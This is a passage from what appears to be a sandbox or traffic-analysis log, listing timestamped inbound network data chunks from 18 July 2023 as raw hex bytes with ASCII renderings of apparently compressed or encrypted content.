ce ee c5 23 10 b7 32 85 6a db dc 3c cc c5 48 a8 20 a7 9d e0 01 69 f0 f6 9b f1 77 36 6b 46 20 77 71 e4 c5 77 07 d4 c0 b5 9b da e6 67 e7 b4 be 2b 62 bf 74 d1 64 7d 3c 1f 6a 7d 5a f8 9b 82 b7 e6 4d bc 25 Data Ascii: AzC.:0;CqIn"1cL+N<,wtv7gl6/Sa)7,k35*U\&bc`9yu5mC1ApcP2<sGqU"NnI=aVI>Je'a#2j<H iw6kF wqwg+btd}<j}ZM%
2023-07-18 15:27:10 UTC	1360	IN	Data Raw: c4 6f 8f b5 1f 8e 77 08 d5 71 8c f8 bd 77 d2 78 af f9 d1 41 58 42 d3 8a 2b 68 20 48 9e 53 02 ab 9a a4 da 26 65 e9 3a ae 05 a2 1c 99 46 12 72 84 56 54 95 92 2f d7 b9 16 ef 1d a7 a7 e4 9d be 8d 52 db a4 1f d5 48 7c 90 9b a5 aa ab d6 0e c9 ef 1c eb dd 72 df 34 86 7c 53 e2 e9 61 94 27 8c f2 5f a8 e4 c3 1f b2 39 2f 98 95 69 94 f7 e2 37 9f de a2 b5 08 56 88 f1 80 cf 57 65 87 f4 a6 9e 30 45 f2 8a b7 42 d2 6c 28 ec d1 2f 67 df 72 2d 7e 91 95 b2 a1 56 84 cd fc 7d 41 6e 1e 19 70 b6 94 49 2e b1 42 14 11 a2 30 85 5a 36 2e bc b6 dc e9 88 94 94 a2 fc b0 6c c6 ed b5 9d 93 0a f1 f1 45 b6 e1 4e 4e 4b 29 bb c8 01 89 e8 3b 7d 24 f4 6b fe 76 db f6 52 09 52 40 97 a6 a2 ac 2e 1c 64 97 8b 0d e5 a1 19 8f 96 b0 e4 4b ba 2c de dc 9f dd ef f4 b5 78 7b 90 1c 18 3e d5 2a 20 95 9b ab Data Ascii: owqwxAXB+h HS&e:FrVT/RH\|r4\|Sa'_9/i7VWe0EBl(/gr-~V}AnpI.B0Z6.lENNK);}$kvRR@.dK,x{>*
2023-07-18 15:27:10 UTC	1376	IN	Data Raw: eb 6a 6a 1c 21 79 a1 93 02 82 f2 26 cf 51 a4 4d d2 8d 70 c2 c8 cd aa eb 24 1b 6f f8 cf 3c 52 ba 19 a4 85 f1 b7 9b be 5f ac ff 2b 2e 73 0d f7 cb 77 9b 39 11 30 21 b0 9d 95 d4 2d 84 44 ec 89 8b d0 f0 f2 11 bd 47 3d 07 0d 86 0d bf f5 3e 08 15 e9 2f 92 fb 6b 3b f8 ee 89 22 60 2f 3b 7b d6 4e f5 e6 8b 17 55 c9 5e 21 e3 da 1b f4 b7 ff 6b 19 1c cd d4 0e 97 eb 85 bd 92 18 a3 2d a1 27 81 55 2c d6 e2 67 2f b0 5c 42 c9 4a 6d 51 22 ad 8b 10 31 6d f8 7c b2 af 15 d7 b4 6b bf b0 96 93 d6 b2 c9 c8 dd 38 0e da b0 68 b1 f4 69 02 d7 52 2b 4f 09 8d c0 94 2b 62 3c 05 88 0e 21 db 22 63 87 a5 44 b7 03 be 21 f7 07 40 c2 55 66 e7 ee 10 87 03 c3 f2 14 09 9e 9b 25 3e 67 0d 45 63 99 42 96 e1 f5 df 27 b2 aa db c1 6f d4 6f 52 ec 54 6f 98 fa b4 02 af 2c 18 89 8b 67 dc 9a cd be e0 ad f7 Data Ascii: jj!y&QMp$o<R_+.sw90!-DG=>/k;"`/;{NU^!k-'U,g/\BJmQ"1m\|k8hiR+O+b<!"cD!@Uf%>gEcB'ooRTo,g
2023-07-18 15:27:10 UTC	1392	IN	Data Raw: 4d 4e 33 f0 80 2a 61 e8 4f dc 53 0b ed b6 d8 89 57 b2 50 ef 16 c8 43 a0 9d 3e f6 38 f1 19 14 75 fd c6 62 2e fd 4a 6c 14 1f 3a 0f 9d 22 30 9e bf 05 ef f2 74 b5 2c b5 52 9b 0e 21 f2 46 04 34 44 76 c6 67 fe 5b 47 9e 31 d9 1f 44 5c 28 30 c4 86 96 7d 0f 47 e4 db 5f d0 0f e6 ae 66 cc 1e 59 08 39 1f 78 42 2a 34 cd 38 91 14 b7 0a c9 bc 47 eb 54 f3 b6 d6 5c e6 b5 cb 47 20 06 a4 9f d9 db 38 ce ea a8 4d f7 cb f6 fc 49 e9 75 de f7 f1 bb 1d a0 cf c2 9d 66 69 f2 4a 83 07 c1 5b 61 20 ca 0f e1 5e 86 46 4f d9 f6 04 d8 09 ad 87 f2 6b b5 1c 11 64 29 fe a4 d7 bd 08 d9 31 4e be 0f 2a f3 fd 71 76 d5 a8 ce 53 cf fe ab 17 f2 09 94 e2 2b a9 78 93 03 ad ec 9e 98 da f3 6f 4b da 2b 9d a7 2f 41 35 8d cb 32 cb 2b c3 3f 96 56 5e 2c f8 ff 92 1b 2d ea 60 fd 2f 2a 93 dc 7b 71 57 ef da d0 Data Ascii: MN3aOSWPC>8ub.Jl:"0t,R!F4Dvg[G1D\(0}G_fY9xB48GT\G 8MIufiJ[a ^FOkd)1NqvS+xoK+/A52+?V^,-`/{qW
2023-07-18 15:27:10 UTC	1408	IN	Data Raw: df e2 8d 32 42 e8 64 48 c0 33 bf f5 71 60 0f d0 55 b0 6e f6 f0 a7 0b ac e2 ea f3 00 b3 40 c4 4c c7 ed a9 e4 5a 52 c3 c6 e5 c3 17 60 b7 96 2a 6b 18 c8 4c 8d ed 0b af b4 35 81 13 c9 c6 6f 2d 3e cb 92 bc fc c8 e8 b1 07 a5 fb f4 97 7d 3b 93 c2 4c f3 d0 68 e0 aa 39 c4 5b 56 99 73 08 32 96 90 7d 11 5c a6 a4 99 0e 34 01 4e 4a 23 70 ce 4f 15 3b d3 e9 6e 9a aa f2 f8 2a 1c 38 db 9c 98 56 ed 48 4f 1f bd 07 8b a2 20 44 ff 52 eb a1 9b 5c 03 55 c5 3d 46 4c 3d d6 65 65 1e 9f 1c 7e f5 a0 b7 bd 00 30 88 61 96 24 64 26 bd 37 d6 7c a1 f8 e8 21 79 a8 c4 17 a5 2c a3 9d b9 da 4a a3 3f 55 bc bb 01 89 fe c4 f2 5e 2a 5e ea af 1b 06 e2 3c 24 87 12 5f 91 47 63 99 90 f3 ba a5 b6 16 a9 ea 2d dc de 04 1e a8 1c 22 50 a6 a8 81 ab 8a dd 6b eb 9b 20 11 e5 70 f4 a8 85 82 ca 3d 27 3b 25 4c Data Ascii: 2BdH3q`Un@LZR`kL5o->};Lh9[Vs2}\4NJ#pO;n8VHO DR\U=FL=ee~0a$d&7\|!y,J?U^*^<$_Gc-"Pk p=';%L
2023-07-18 15:27:10 UTC	1424	IN	Data Raw: a5 d5 73 80 72 47 b1 3f d7 f5 d3 7a 79 3d 04 7a 1f 2a 42 57 23 ec 71 52 7f 58 ad 89 ac 34 3f 2a 9b d4 81 62 e4 5b 94 44 51 de 5c f1 0f d8 28 66 2c 53 1c 49 b1 d0 09 43 7b 35 0e 65 e2 ea 1e 67 46 37 46 30 16 a1 92 74 81 5c ba b8 bb 40 0d 28 22 e3 e6 e9 de 18 46 df 5c 8d 89 a7 00 d7 1f 81 00 3d 08 21 0f 13 e7 fb 5d 88 20 3b 0d a4 0a 1b 99 7a 34 0f 57 85 ff cb a3 0e a4 78 f1 16 b4 df 19 64 6a fe 8f 95 10 dc 44 68 6e 65 c0 d7 8d be 31 ac 9e aa ee 3e 7f 14 3b 27 51 e4 7b 48 ac f9 6f fb fa 0e d0 a5 d9 1e fc f9 43 a4 e5 dc 56 7b ee b3 d8 bd 6c 9b 75 bd 91 60 48 f9 59 53 91 22 cd 8b 95 8a d3 3d de ce a5 9c 23 09 c4 10 0a 47 2a 16 b3 78 d1 cc c7 95 1a ce ae c6 12 11 ae 1c 14 d1 15 32 dc e5 48 b1 24 d0 36 be d5 6c 60 9e 82 f6 90 31 37 f2 74 76 ff 9d 96 2d 9d 1d a5 Data Ascii: srG?zy=zBW#qRX4?b[DQ\(f,SIC{5egF7F0t\@("F\=!] ;z4WxdjDhne1>;'Q{HoCV{lu`HYS"=#G*x2H$6l`17tv-
2023-07-18 15:27:10 UTC	1440	IN	Data Raw: fc e2 66 7d fa 39 e8 73 dd 46 dc 80 3c 71 8c f2 52 69 a6 24 b3 47 d5 04 92 ac ac 07 0e 94 64 89 ae 91 9a e7 a5 52 b0 8f 6b 48 6f e4 43 53 a0 7a 23 5f c8 3b 5b 02 59 83 70 a5 29 d9 d4 c1 bd a5 9c c6 21 6a f7 fa 38 71 6d 8f 94 a8 da c6 f6 eb d0 82 da 15 04 28 02 16 be c7 3c 9c 13 86 e8 7c 03 ef 82 86 48 d5 a8 27 b7 c1 7c 36 a3 0b 01 a9 3b 21 c6 18 64 36 d5 8d 75 5a 29 90 88 91 c4 4b 3c 97 bb 7a cf 59 62 18 18 f7 e3 b1 75 d1 ad d5 a5 6a d6 5b 25 fe fc cd f7 e9 11 1e e0 4e 1d b8 5b d1 04 d7 90 3a ed 2e 49 7c a4 a9 1b a7 82 41 63 c5 ee 5a 01 99 56 d7 29 c6 67 39 86 41 5b 70 91 83 91 50 3f de f8 cf d0 b2 24 0a e5 b9 60 f6 dc 6c 24 f1 4d fe 4b 6b 3c 25 fd 98 35 d7 1a df 23 31 27 18 9c 5d ff 35 bc d2 6a fd b1 27 29 3a 65 9e 0a 2a bc f8 e1 b6 1d 13 05 bf 6d 17 64 Data Ascii: f}9sF<qRi$GdRkHoCSz#_;[Yp)!j8qm(<\|H'\|6;!d6uZ)K<zYbuj[%N[:.I\|AcZV)g9A[pP?$`l$MKk<%5#1']5j'):e*md
2023-07-18 15:27:10 UTC	1456	IN	Data Raw: 20 2f 5f 93 bc d7 70 2a 59 63 a8 5e 11 7f e6 29 cc 4f 0d 31 00 35 34 48 19 2f 45 10 87 d2 6e 88 19 e0 04 93 d3 46 4b 26 6e ab 4d dc 8c dc e1 0a 9d 0d 77 4b 80 f0 18 02 1c 53 41 55 6b c8 ec ea c0 3f 29 4b c0 ab b3 29 b1 a0 cf f7 75 a1 0d 59 eb 7e b7 75 ba a2 3b b4 b6 ab cc 06 b4 cc a9 3d b0 38 68 8a 55 a8 23 7a f3 ed bd 6a d5 8c 4a 15 53 04 f2 a6 19 4a 39 77 fa 9d 02 4b e8 b8 e0 54 57 8c a9 a8 48 06 05 ff c1 46 de 75 a2 4e 82 c8 50 7b c2 c5 3a 2d 14 49 92 c2 fa d4 cc 69 33 02 90 c6 97 de 1c 2b a3 11 58 a6 b7 58 50 14 e6 c7 1c 5c 8b 3f 3d bd bc 5f 90 19 a2 22 32 23 d8 eb 8c 59 02 a2 73 a7 cd 90 1b 02 63 bd 3c a5 d7 13 fb e9 b7 58 56 94 f1 65 d3 33 6a bf 35 65 ec f4 65 8a a8 0b 18 4c 4a 0d 32 70 98 bb f7 21 40 2b e3 9a 20 bf 60 e7 68 c7 75 9a c5 28 36 b0 de Data Ascii: /_p*Yc^)O154H/EnFK&nMwKSAUk?)K)uY~u;=8hU#zjJSJ9wKTWHFuNP{:-Ii3+XXP\?=_"2#Ysc<XVe3j5eeLJ2p!@+ `hu(6
2023-07-18 15:27:10 UTC	1472	IN	Data Raw: 16 00 75 e4 a2 67 ec f6 d0 33 25 01 a3 9a 49 e0 c2 09 e7 3e 35 ea d2 58 ab e8 68 49 30 45 41 5f d8 2d a9 d8 37 45 05 12 aa 2c b9 90 0d 6b 6e 76 70 25 e5 1a 53 90 44 3d d5 69 6a b0 2c b4 6e 4f 07 e1 11 1d 77 ad 8e 00 f4 e1 88 66 a5 e3 17 af 2a 57 61 d6 a7 66 40 74 13 d8 3a 8f 89 4b e3 e4 7e ac b7 bc 88 72 14 ac 91 3e 9e 57 ab 73 0c 80 db 6a ba 03 ad ba 23 05 09 cc a1 79 e0 27 5c 1a f3 de e9 db 6a 85 4f 35 25 42 72 91 64 9a 99 03 82 14 89 e9 39 0d ef 34 45 54 86 c5 7d 82 86 d4 83 50 8c af 55 5c 96 a0 9e 94 67 09 44 de 9c a9 28 dc f5 bb 44 93 ec 4c 89 ca 41 4f 43 35 17 5a fe 50 a6 bb 72 78 56 2b 0f c7 ba 38 a1 52 ec ee 3b 95 6f 3c 1d 5c e9 18 29 2c 9d ce 5f a5 7b fd b3 ab f3 15 e7 af d0 cf a1 b1 ba 9b d4 85 9b fd 17 09 6d 67 88 31 ad 0f 44 e5 9c 62 ff b3 3d Data Ascii: ug3%I>5XhI0EA_-7E,knvp%SD=ij,nOwf*Waf@t:K~r>Wsj#y'\jO5%Brd94ET}PU\gD(DLAOC5ZPrxV+8R;o<\),_{mg1Db=
2023-07-18 15:27:10 UTC	1488	IN	Data Raw: a4 81 a0 9f 73 3b 50 6c 8d 05 70 6c f6 3c 29 e9 ec 13 4e 9b 34 cd a1 d6 0d 1d 27 0e eb 55 75 79 11 e3 bd 6b 68 ce 1d a7 e7 8f 60 8c 8a 1a cc 21 f9 4b a2 95 1b fa 58 ab fd 6d 03 c6 72 db 03 8c 78 85 e3 e3 b9 d7 52 34 84 f3 b3 08 65 25 6f 8b bb 23 54 8d e0 a7 66 e5 f5 d3 97 32 ff 4d 85 59 e4 56 ac 52 92 04 92 da ab 94 63 ea 76 4b 54 cb 59 3f 14 d8 52 82 a9 f9 ee 92 51 21 7d 24 95 a2 1d cb 3b da aa d3 2a 67 32 c6 e3 a3 58 84 2c 4e c6 b4 6a 8d d8 2b 21 63 b4 5f 9c 3f 46 5a 3b bf 1a f5 04 27 9e e2 bf 31 2c 12 d8 c2 82 0e 42 73 e1 6f 5a 09 62 f9 ed 3f 5b 8e ad 2b 76 2f a4 7e e0 03 8a f3 ce 65 49 dd 6c 45 d0 df db 08 64 2c 8d 77 b5 33 45 6e f2 26 0f 28 ed e7 81 b8 0c a1 8b 73 61 88 23 0f 4d 08 ce 63 92 37 98 9a 67 db 93 73 50 d9 7f 15 03 51 30 e9 c9 08 1b d1 9d Data Ascii: s;Plpl<)N4'Uuykh`!KXmrxR4e%o#Tf2MYVRcvKTY?RQ!}$;*g2X,Nj+!c_?FZ;'1,BsoZb?[+v/~eIlEd,w3En&(sa#Mc7gsPQ0
2023-07-18 15:27:10 UTC	1504	IN	Data Raw: 32 38 9f a5 21 91 0a c1 2c fe de 43 f4 ae 6a ca e5 1a 96 e4 b3 f1 c6 94 d8 fa 2e 05 b7 18 31 c7 77 38 44 c1 89 e7 06 a8 2f 9f 11 fc 67 be b7 4e bf 0d c7 99 d1 2e d1 bd ba 00 0c 35 68 d7 4c b8 ac 8d 4f e2 3d 40 80 19 65 de 98 bf 64 a4 2a ac ec b7 50 d5 87 11 b5 71 cf ce 4b 26 40 a3 7e ed 77 96 1c 99 df a1 8e ad 95 cf a3 ce 2c 61 7b d5 7c 3f 08 d6 38 ab 0c ac b8 49 f3 87 1d 92 2d ff da d2 9a 9c 04 4e c0 86 a2 a7 e2 74 f7 fd 2b 98 31 b3 ca 10 5b 22 49 3c 6d b3 62 cb 1e ac be 9f 2d 0b 14 50 4b 43 ee 53 9e 5c 6d 63 c8 1c 83 4a 8c 49 be 44 4b bd d0 ac e7 b1 c8 7d 19 3a e2 78 a8 45 60 8f dc cf 87 2e ec 23 d1 24 6e 3c 47 b7 74 6e 07 2b 29 fc 4b 3d e7 77 72 2b 54 6d 2c 82 89 7a b4 5f 8e aa 89 18 fc fe d2 5d 37 78 a2 8a ce 55 84 a4 75 1d e7 92 b6 e7 25 ff 23 8f 56 Data Ascii: 28!,Cj.1w8D/gN.5hLO=@ed*PqK&@~w,a{\|?8I-Nt+1["I<mb-PKCS\mcJIDK}:xE`.#$n<Gtn+)K=wr+Tm,z_]7xUu%#V
2023-07-18 15:27:10 UTC	1520	IN	Data Raw: 8a b6 a7 83 36 68 3c 5a 23 99 ec ae b6 8a 8e bc 75 80 ff ed cb f1 74 6a 4f 31 97 36 91 08 c0 c9 27 8a 19 e6 70 14 d6 5e dc 60 e1 e0 07 78 73 bd 1a da 80 5c 45 7a 95 50 c5 59 62 c5 2f 53 e0 60 21 76 a3 e4 69 3f 38 22 8c 61 c8 1e ad e6 4a 82 da c8 82 06 26 c1 4b 23 b2 df 95 82 8b 8a 79 5b 94 b6 19 91 67 aa 70 ef 47 19 92 c9 27 50 7c 98 ba 78 20 19 39 5a 87 df b4 7b 1c 83 4c 7a ea f8 d3 d2 3e 78 bb 64 06 8d 22 46 54 eb 96 5e 62 07 5f de 0a 47 6e a7 d2 46 73 8b df cc 53 aa e7 b7 e0 d8 32 15 87 2c 4b 49 82 cb 67 1b 5f ed 40 0a 26 ae 37 87 02 7e 5b 37 17 76 cb eb 33 7b 0b 1e ce 2e 64 0a 0f a1 9f cc a7 00 8f 0d 44 53 4f b8 71 e1 ab d7 80 5a c3 6f 2e a7 13 86 93 0e f0 b7 cb 9d 09 7c 29 bc 43 1f 97 37 c0 90 ba 02 51 98 81 d6 d7 0b 6a 21 92 2b 85 bb f7 4e f0 5b 20 Data Ascii: 6h<Z#utjO16'p^`xs\EzPYb/S`!vi?8"aJ&K#y[gpG'P\|x 9Z{Lz>xd"FT^b_GnFsS2,KIg_@&7~[7v3{.dDSOqZo.\|)C7Qj!+N[
2023-07-18 15:27:10 UTC	1536	IN	Data Raw: 6e db b8 e2 4a 2a dc 45 e2 b1 d3 43 a1 a2 f1 b3 f5 41 42 36 85 d0 a5 45 d4 a0 44 ee fb 8c 0a 94 7f 27 79 a8 77 66 23 10 06 4b f7 f4 78 98 c2 9b 44 31 d0 53 65 b8 18 b5 54 a1 a1 c5 bf e2 04 ed 56 6a 9a 91 44 e8 7f 31 af 99 92 01 7f 9d 7f b7 f6 2f 25 8d 54 ae c4 d3 9b 31 1e eb c0 66 df 6e 06 93 b4 26 b1 55 41 9c 29 5c 54 c5 d9 90 50 08 42 4e f2 28 a4 23 37 08 b6 a4 ea aa a4 a2 6b 95 a7 d2 ed de d1 c7 10 39 12 ea 49 d6 b8 44 91 b4 b3 77 be 53 69 e8 df 84 78 da db c6 d1 d1 88 ce e8 22 77 e4 66 f4 dd 92 eb 6f e8 1a e0 19 f6 c3 88 a6 51 4a 8e f5 b9 4f 7d a0 b7 2e 5c 95 6d 63 dc f2 bd 76 f3 00 b9 a1 95 16 24 72 79 e6 a2 fc e0 8c 90 23 53 bf 8b e9 ba 70 53 e2 5d 93 4e 75 50 48 80 a1 cb 88 fb 09 d8 56 73 a5 e8 00 5e e2 70 d2 08 24 b2 b7 c1 e0 be cc fd c9 ba d0 62 Data Ascii: nJ*ECAB6ED'ywf#KxD1SeTVjD1/%T1fn&UA)\TPBN(#7k9IDwSix"wfoQJO}.\mcv$ry#SpS]NuPHVs^p$b
2023-07-18 15:27:10 UTC	1552	IN	Data Raw: a3 a2 c6 55 81 2f d4 ef be de e0 9d 84 91 ca ed 68 1f d9 73 2c e9 3c e6 dd 2a bc 70 85 57 b3 0d 20 8f 1e 4b 8d ec 0b 0c 47 26 6d 11 0c ca 32 fe e3 c5 74 4b 92 96 03 fb 1e 9d 2b f0 4d d9 4b a0 3f 5a ec 9b 2f 2b d8 c4 31 38 ba 83 06 59 9b e7 2b 12 6c 9e 0b 7b d6 2c f4 00 b3 08 b8 5c 42 a3 0f ab 5b 22 01 ca d3 6e 44 75 6f 43 41 78 81 84 21 35 89 1b 21 77 2f 78 da ac 1e 43 fa 80 0e 6e 26 f6 25 6f fe 48 81 65 5b f3 a1 fc 48 ee 41 e5 c7 cf 00 77 ea e9 aa 5a 19 a6 29 73 bf 95 e5 f8 d7 d1 8e b1 ca 34 df e8 06 d5 5a 7c 7e 44 05 f2 b5 c1 97 da 7f de a1 d7 8b dc f2 69 c9 66 d5 16 60 b9 0e a9 07 bc e7 5c 8d bb bf 3b 16 e3 ee 88 b6 de ce db 74 98 38 42 97 9b b8 01 6a 7b 39 46 06 d9 5d 10 8b b2 a8 bf bc de fe e6 85 20 e8 c4 ed 56 ac e3 85 fe 5f 76 33 dc f5 8f 98 5b a5 Data Ascii: U/hs,<*pW KG&m2tK+MK?Z/+18Y+l{,\B["nDuoCAx!5!w/xCn&%oHe[HAwZ)s4Z\|~Dif`\;t8Bj{9F] V_v3[
2023-07-18 15:27:10 UTC	1568	IN	Data Raw: de 47 b1 69 8a 6f 64 21 d9 e3 14 f1 37 ea 95 61 39 9d c6 b4 e6 61 4c eb d6 b1 a4 bd 7e 86 2e 1c f0 bd 21 ad e9 ab ed ca 13 0f 43 ef c7 97 47 52 b8 73 a6 78 75 99 e8 ad 15 cc 02 7c 5d 76 59 f2 d1 03 84 46 f3 11 fa 68 a8 e3 31 33 15 d8 12 36 4e 45 59 de 8f 63 89 14 42 d0 ff b1 4c 98 b4 8c 7b 63 9f e6 83 ea a6 e9 46 d0 26 0c c5 44 09 43 b8 0c e4 43 18 fc a2 96 c9 3e 35 7c c2 a0 d5 c2 3c 56 f8 aa 5b 93 d1 ed e1 d1 be a3 23 b7 7e f7 30 4f b3 f9 d5 af 3c 8c cd 90 7c 35 50 1c af ac 18 ae 15 7a ee cb 33 aa 28 56 37 26 17 91 7e 18 6e 56 59 a9 e0 92 87 0f 77 6f 2b 15 2a 96 f2 7d 20 e4 73 8a fa 94 f4 c2 9d 95 12 a8 7a f4 d6 c6 a0 ee 8a 68 ef ef 7d 92 d9 5d b9 36 39 80 0c c1 b7 96 60 14 89 64 10 cb cb 43 7a 92 a4 b3 a1 c9 2f 20 ad 73 e2 30 e0 17 d5 ab d0 01 72 63 42 Data Ascii: Giod!7a9aL~.!CGRsxu\|]vYFh136NEYcBL{cF&DCC>5\|<V[#~0O<\|5Pz3(V7&~nVYwo+*} szh}]69`dCz/ s0rcB
2023-07-18 15:27:10 UTC	1584	IN	Data Raw: 63 1a 63 aa 1e 33 0a 2f 07 7b 62 3e 6a 77 5b 7b 18 8c 63 74 a8 74 4e 4d ba 40 99 3e 15 4a 77 84 d5 73 cb 78 60 87 66 33 7c c7 62 05 cb 00 05 df 2f 5e af 21 2f 75 6c 16 ec aa c3 3c 75 e6 3e d9 e4 24 c5 b2 60 62 b5 2a 13 a8 87 b6 ac 30 59 c6 6e 4a 57 73 f2 68 04 3f b3 79 78 fb 57 e9 bf 97 de bd ea b1 be 0b de bf 3e 14 ac ae a5 c8 11 0b 64 ef 6c 17 59 a8 76 22 8e 50 bc 4a c4 93 2d e0 c0 28 5a 07 41 93 b9 d1 c2 f5 d1 4a da 49 27 60 68 34 5f 18 c2 0f 64 7c 56 13 d2 10 43 c3 cf c7 f1 b9 04 6c 4c bd a2 2b 71 6d 1f 22 29 4b d3 2e e1 7c 0b 42 e9 8c 07 f0 5b 57 d4 cb 9e 6c 94 f7 27 b6 d3 6b fb e9 30 6d 49 a8 90 eb 43 23 61 5e d4 ff 00 f4 a1 33 67 57 ac 0a 8f 7e 94 c8 30 28 23 bf 7d 64 81 3a 99 6c 89 17 f9 2e 8d 33 e0 f9 0c 95 de 20 fd d9 7f 65 ac 0e 92 03 a6 30 68 Data Ascii: cc3/{b>jw[{cttNM@>Jwsx`f3\|b/^!/ul<u>$`b*0YnJWsh?yxW>dlYv"PJ-(ZAJI'`h4_d\|VClL+qm")K.\|B[Wl'k0mIC#a^3gW~0(#}d:l.3 e0h
2023-07-18 15:27:10 UTC	1600	IN	Data Raw: 2d 02 7b 1a ec ea 65 1c 2f a2 8e 56 a3 80 ea 5e 42 d7 be a2 a8 5c 3e b0 45 91 8b dd 53 98 9a 15 c0 ca 6b d5 9d a4 ae e5 d7 e4 a6 8e ff b3 6b 38 2c 3d 2e e6 ef b6 c1 3b 11 6f bc 69 22 ed 36 ec 09 5a 17 d5 73 03 53 c5 af 1b ea d0 15 3b bc 74 25 e1 5b 7e 31 78 60 33 fd 07 92 cf bb 23 c8 81 22 c5 83 a7 31 a1 62 b1 d5 59 2d 95 25 8b 8e af 4b 51 eb 32 de f8 94 dc 8a 1c ab 9a 6f 6f 97 e8 0c da 92 a5 6d c3 8a 20 df c2 1f 6d cc 3a 6f e5 2b ac af 06 48 8d 42 1c 9b be a6 40 2c ee 99 6d e5 bc 41 77 e0 5e c9 76 03 45 e6 9e d6 dc 73 f1 01 9e 50 7c 85 df 08 4a 69 33 41 b6 3d d3 c0 02 f6 b0 f3 58 5a 65 b2 f9 6b 35 c8 3d 22 4b cd c2 f9 10 f1 09 d0 32 ab 46 3c 13 8a 68 2d 81 bc 51 62 16 83 34 23 0b 62 9f 81 14 fe 51 34 e3 75 83 d5 4d 2a d1 c8 23 ad a1 3e ce ad 33 4a 27 65 Data Ascii: -{e/V^B\>ESkk8,=.;oi"6ZsS;t%[~1x`3#"1bY-%KQ2oom m:o+HB@,mAw^vEsP\|Ji3A=XZek5="K2F<h-Qb4#bQ4uM*#>3J'e
2023-07-18 15:27:10 UTC	1616	IN	Data Raw: 90 8a 5f 0b 6a 17 8a 8b a7 1f fd 13 f0 1c b0 cb ed db c8 c0 72 46 3f 57 b2 d3 81 62 63 67 bf 8a 5a b1 ad 0f 20 c2 d4 91 fe 4d 08 7e 49 c9 1c 28 72 d9 ca de 6d 60 b8 2f 73 fd 28 69 d4 99 f9 51 83 39 d0 4e de be 18 14 ba 87 05 05 15 e0 f6 fa b2 80 71 ed be e5 87 85 18 8a 3b 7c 56 9a f2 b7 96 53 48 9e ec 21 90 49 b6 f1 23 1d 2c a6 68 cf da 8c d6 b4 3c 69 14 ca 6e 9d 97 65 3a 0f 98 41 ba 60 4c 50 e0 bb df be fc 56 c6 f5 94 31 c8 2e 16 66 d8 21 6c 11 cb 37 65 1a 5b 27 4a 9e 4c 1a 5d b7 1d 0f 7f d3 e8 c9 99 87 8d 40 b4 59 25 ab 4d 45 fc 08 59 0c ea a6 12 f4 1b 22 28 46 ef 39 f1 2b d0 8d 5e 13 24 49 ea 7d fa 65 e6 0a 3d 0c 1a 87 af 24 c5 d3 b1 9a 4b 5c d2 dd e2 f0 44 04 32 dd db 56 eb 07 6e df 5a 3f 8b 3b 3c e1 62 3a 1a 6c c3 27 68 2e 44 11 91 30 11 6d 7d 4c f6 Data Ascii: _jrF?WbcgZ M~I(rm`/s(iQ9Nq;\|VSH!I#,h<ine:A`LPV1.f!l7e['JL]@Y%MEY"(F9+^$I}e=$K\D2VnZ?;<b:l'h.D0m}L
2023-07-18 15:27:10 UTC	1632	IN	Data Raw: 55 d0 5a a6 44 cd 08 a3 fd e8 8a b1 91 b5 56 c6 e3 b0 a6 89 72 4d 2a 30 1c 2e 5e 76 d7 cf bc 55 1d 45 be 0c e8 23 b4 cd 0d 68 01 cd 70 0d 5f 58 d6 6e 17 c2 12 42 ca c2 d8 79 3a a2 0e fa 29 b5 93 2d c7 59 ff fe 4f 36 c2 79 8f 5c e2 6c ed 47 b3 7b 4b 8c 96 f1 15 f4 75 5b 93 cb 91 09 1f c6 b5 aa 43 38 4c d2 ab cb b8 d7 e8 31 5a 01 c8 ce d9 05 a9 3c 44 3a c7 cd 08 d5 a4 08 14 a2 92 d6 33 2b 2b 60 c7 da ec 77 20 fd ce 74 ba f9 c5 ad ed 98 48 af 64 90 17 cd 75 e2 b8 32 8e 91 ce e8 9d d5 13 5c f7 a2 c2 5a 46 a2 23 e4 44 d5 d8 c3 31 14 53 25 71 95 7f ca 75 31 12 fc a3 74 de c3 de 0c e5 ce 69 f2 8b 37 10 1a 33 26 db c6 b8 e1 78 6c 65 2f aa 06 57 0e c3 6d 26 eb c2 e4 ea 77 f8 bb e5 c4 26 09 f6 e9 31 7e 55 a3 b9 13 40 bc 15 5f 9d a1 88 8c 64 f8 35 2e b6 16 7b de b1 Data Ascii: UZDVrM*0.^vUE#hp_XnBy:)-YO6y\lG{Ku[C8L1Z<D:3++`w tHdu2\ZF#D1S%qu1ti73&xle/Wm&w&1~U@_d5.{
2023-07-18 15:27:10 UTC	1648	IN	Data Raw: 03 c5 b4 f4 13 ab 44 15 39 1f a2 6b 83 3c 42 99 34 c4 c2 6a 64 40 16 0c 36 3f 82 af 68 05 66 0e 2e db 24 3f 1a e1 f4 15 e1 a3 60 ba 90 59 e8 4c cc 57 5a 96 d6 de a8 a3 4f a7 95 8f 5d 9d cb b3 ff 2d a7 e4 3b 67 f0 64 0c 04 00 bf 3f 71 a9 18 be 29 0e 6c 83 be 26 57 d7 fb 15 aa 5d 5a a3 26 e1 9d 5d 0b 69 f4 4a f0 5b 43 4d dc 9a 1c f3 e2 14 cb 96 a7 7f 55 03 39 4d 58 c0 44 6f 1b b0 03 c6 40 85 3d 5d 55 48 5d d5 ab 87 d5 29 3a 78 a1 f3 20 24 9c 8f 67 95 ed ce 6d 06 72 d3 31 ef ac 0e 39 3e 58 8d 7b c3 bc 62 8c a7 a2 c4 ca b3 f3 5a d3 69 cb 27 78 84 d1 e8 93 a2 a3 06 e7 f9 d7 53 7f 6f 32 d0 22 a0 de a9 8c 4e ab 60 7e 16 f3 f5 05 b7 d1 d2 6a b0 10 31 3c 25 5b f1 42 93 98 ba 01 76 33 01 af 89 b4 10 26 3e 1f 93 4f 82 54 a9 1b 7d 1d ea ec c8 3c 33 0a de 8d bb 65 ef Data Ascii: D9k<B4jd@6?hf.$?`YLWZO]-;gd?q)l&W]Z&]iJ[CMU9MXDo@=]UH]):x $gmr19>X{bZi'xSo2"N`~j1<%[Bv3&>OT}<3e
